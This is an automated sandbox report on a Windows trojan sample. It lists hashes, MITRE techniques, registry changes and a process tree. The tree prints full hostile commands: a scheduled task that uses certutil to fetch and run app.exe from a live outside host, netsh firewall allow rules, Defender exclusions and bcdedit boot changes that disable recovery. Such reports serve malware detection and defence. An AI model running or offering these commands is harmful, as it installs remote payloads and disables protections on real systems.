d5d368c9ba295ef4c36fe1e02452418d14f27512fe153c2f16f7384ca60b3db4

Analysis

max time kernel
87s
max time network
129s
platform
windows10_x64
resource
win10v20201028
submitted
09-11-2020 19:46

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General

Target

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Size

3.9MB
MD5

a0efed30b010ca2d54e5df9a091499ac
SHA1

b5551d53bf87cf21b829d48411885df5fa3d8bbc
SHA256

d5d368c9ba295ef4c36fe1e02452418d14f27512fe153c2f16f7384ca60b3db4
SHA512

fa1573f86d32ec76473c9941b3f14e3c0e90a976225006116c4ad59315e7c1d682c05a98e295fc7c2c85cb4824143f3c0f0e2e61fb2ac4dd4ba8acd6eae2e5fe

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3084 created 3636	3084	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
PID 3084 created 2936	3084	svchost.exe	csrss.exe
PID 3084 created 2936	3084	svchost.exe	csrss.exe
PID 3084 created 2936	3084	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
3644	bcdedit.exe
1508	bcdedit.exe
3052	bcdedit.exe
2184	bcdedit.exe
2660	bcdedit.exe
3012	bcdedit.exe
3180	bcdedit.exe
1832	bcdedit.exe
1404	bcdedit.exe
3936	bcdedit.exe
1728	bcdedit.exe
2172	bcdedit.exe
756	bcdedit.exe
4064	bcdedit.exe
3648	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 4 IoCs

Processes:

csrss.exepatch.exedsefix.exeapp.exe

pid process

2936 csrss.exe
1516 patch.exe
3460 dsefix.exe
1576 app.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

1516 patch.exe
1516 patch.exe
1516 patch.exe
1516 patch.exe

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
2936	csrss.exe
1516	patch.exe
3460	dsefix.exe
1576	app.exe

pid	process
1516	patch.exe
1516	patch.exe
1516	patch.exe
1516	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\57f67627e14e.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WinterHaze = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinterHaze = "\"C:\\Windows\\rss\\csrss.exe\""	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

description	ioc	process
File opened for modification	C:\Windows\rss	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
File created	C:\Windows\rss\csrss.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
3164	3636	WerFault.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
640	3700	WerFault.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2468 schtasks.exe
4068 schtasks.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 34 Go-http-client/1.1

pid	process
2468	schtasks.exe
4068	schtasks.exe

description	flow	ioc
HTTP User-Agent header	34	Go-http-client/1.1

Modifies data under HKEY_USERS 285 IoCs

Processes:

csrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.execsrss.exe

pid	process
3636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
3636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
2936	csrss.exe
2936	csrss.exe
2936	csrss.exe
2936	csrss.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

624
624

pid	process
624
624

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Token: SeImpersonatePrivilege	3636	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
Token: SeTcbPrivilege	3084	svchost.exe
Token: SeTcbPrivilege	3084	svchost.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe
Token: SeSystemEnvironmentPrivilege	2936	csrss.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe
Token: SeBackupPrivilege	3084	svchost.exe
Token: SeRestorePrivilege	3084	svchost.exe

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

svchost.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.execmd.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 3084 wrote to memory of 3700	3084	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
PID 3084 wrote to memory of 3700	3084	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
PID 3084 wrote to memory of 3700	3084	svchost.exe	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
PID 3700 wrote to memory of 3004	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	cmd.exe
PID 3700 wrote to memory of 3004	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	cmd.exe
PID 3004 wrote to memory of 1448	3004	cmd.exe	netsh.exe
PID 3004 wrote to memory of 1448	3004	cmd.exe	netsh.exe
PID 3700 wrote to memory of 1524	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	cmd.exe
PID 3700 wrote to memory of 1524	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	cmd.exe
PID 1524 wrote to memory of 2964	1524	cmd.exe	netsh.exe
PID 1524 wrote to memory of 2964	1524	cmd.exe	netsh.exe
PID 3700 wrote to memory of 2936	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	csrss.exe
PID 3700 wrote to memory of 2936	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	csrss.exe
PID 3700 wrote to memory of 2936	3700	SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe	csrss.exe
PID 3084 wrote to memory of 2468	3084	svchost.exe	schtasks.exe
PID 3084 wrote to memory of 2468	3084	svchost.exe	schtasks.exe
PID 3084 wrote to memory of 4068	3084	svchost.exe	schtasks.exe
PID 3084 wrote to memory of 4068	3084	svchost.exe	schtasks.exe
PID 3084 wrote to memory of 1516	3084	svchost.exe	patch.exe
PID 3084 wrote to memory of 1516	3084	svchost.exe	patch.exe
PID 1516 wrote to memory of 3644	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3644	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1508	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1508	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3052	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3052	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2184	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2184	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2660	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2660	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3012	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3012	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3180	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3180	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1832	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1832	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1404	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1404	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3936	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 3936	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1728	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 1728	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2172	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 2172	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 756	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 756	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 4064	1516	patch.exe	bcdedit.exe
PID 1516 wrote to memory of 4064	1516	patch.exe	bcdedit.exe
PID 2936 wrote to memory of 3648	2936	csrss.exe	bcdedit.exe
PID 2936 wrote to memory of 3648	2936	csrss.exe	bcdedit.exe
PID 2936 wrote to memory of 3460	2936	csrss.exe	dsefix.exe
PID 2936 wrote to memory of 3460	2936	csrss.exe	dsefix.exe
PID 2936 wrote to memory of 1576	2936	csrss.exe	app.exe
PID 2936 wrote to memory of 1576	2936	csrss.exe	app.exe
PID 2936 wrote to memory of 1576	2936	csrss.exe	app.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3636

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.19119.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3700

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:1448

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes
4⤵
PID:2964

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2468

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4068

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:3644

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1508

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3052

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:2184

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2660

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:3012

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:3180

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:1832

C:\Windows\system32\bcdedit.exe
